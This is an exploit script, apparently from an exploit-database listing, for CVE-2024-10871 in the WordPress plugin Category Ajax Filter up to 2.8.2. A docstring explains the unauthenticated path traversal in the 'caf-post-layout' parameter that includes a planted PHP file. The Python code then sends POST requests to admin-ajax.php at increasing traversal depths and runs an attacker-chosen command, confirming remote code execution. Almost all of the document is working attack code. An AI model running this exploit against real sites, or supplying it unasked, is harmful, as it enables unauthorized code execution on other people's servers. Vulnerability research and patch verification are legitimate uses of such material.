Share
## https://sploitus.com/exploit?id=PACKETSTORM:226391
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Category Ajax Filter <= 2.8.2 - Unauthenticated Local File Inclusion to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/category-ajax-filter/
    # Software Link: https://downloads.wordpress.org/plugin/category-ajax-filter.2.8.2.zip
    # Version: 2.8.2 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-10871
    r"""
    Category Ajax Filter <= 2.8.2 registers the nopriv AJAX action get_filter_posts
    (includes/functions.php:106). The handler reads $_POST['params']['caf-post-layout']
    (includes/functions.php:134, only sanitize_text_field โ€” `../` survives) and includes it
    (includes/functions.php:180-183):
    
        if ($caf_post_layout && strlen($caf_post_layout) > 11) {
            $filepath = TC_CAF_PATH . "includes/layouts/post/" . $caf_post_layout . ".php";
            if (file_exists($filepath)) include_once $filepath;
    
    TC_CAF_PATH is the plugin dir; caf-post-layout=../../../../../uploads/<file> traverses to
    wp-content/uploads and includes an attacker-planted PHP -> RCE. The only guard is strlen>11 and the
    nonce is enforced only when the referenced filter has meta caf_special_security=enable (default
    disable -> unauthenticated).
    
    Prior state: plugin active + a planted .php under wp-content/uploads (any upload primitive).
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    TOK = "CAFPWN"
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--planted", default="uploads/cafpwn",
                        help="planted php path relative to wp-content (no .php)")
        ap.add_argument("--cmd", default="id")
        ap.add_argument("--max-depth", type=int, default=7)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        for depth in range(3, args.max_depth + 1):
            layout = "../" * depth + args.planted
            d = {"action": "get_filter_posts", "params[caf-post-layout]": layout,
                 "params[tax]": "category", "params[post-type]": "post", "params[term]": "x",
                 "params[page]": "1", "params[per-page]": "1", "params[data-target-div]": "x"}
            r = requests.post(base + "/wp-admin/admin-ajax.php", params={"c": args.cmd}, data=d,
                              verify=False, timeout=20)
            if TOK in r.text:
                out = r.text.split(TOK + ":")[1].split("<")[0].strip()
                print(f"[*] Target: {base} | depth {depth}")
                print(f"\n[+] LFI -> RCE CONFIRMED โ€” planted PHP executed:\n{out}")
                return 0
        print("[-] not confirmed (adjust --planted / --max-depth)"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())